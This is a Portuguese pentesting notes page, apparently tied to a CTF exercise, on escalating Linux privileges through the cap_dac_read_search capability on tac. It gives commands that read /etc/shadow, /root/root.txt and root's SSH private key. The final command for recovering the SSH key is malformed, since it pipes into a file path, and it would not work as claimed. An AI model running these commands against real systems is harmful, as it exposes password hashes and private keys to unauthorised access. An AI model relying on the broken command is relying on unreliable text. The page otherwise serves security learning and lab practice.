> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md).

# Capacidades (tac) - Escalação de privilégios no Linux

Anotações sobre capacidades (tac) para escalação de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.

## O que é

As capacidades do Linux dividem os privilégios de root em direitos granulares que podem ser atribuídos a binários. Capacidades perigosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, ou capacidades de gravação em arquivos podem contornar as restrições normais do usuário. Esta página específica foca em **Capacidades (tac)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e depois execute a menor carga útil necessária para provar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
getcap -r / 2>/dev/null
```

## Exemplos

Listamos arquivos com capacidades específicas:

```bash
getcap -r / 2>/dev/null
```

Identificamos que **tac** tem a `cap_dac_read_search+ei` capacidade:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b9c4c9fc6d7feef377abd6530a72086180184f%2Fimage%20(2854).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Operação tac para reproduzir arquivos protegidos

O `tac` comando (inverso de `cat`) nos permite ler os arquivos invertendo seu conteúdo.

```bash
tac /etc/shadow
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-161bcb3aa4208384a57985f8d4de26862023816e%2Fimage%20(2855).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

**Ler a flag root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46182dcf565f5453c76cef471e019d20dd12f36c%2Fimage%20(2857).png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

**Recuperação da chave SSH de root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```


---

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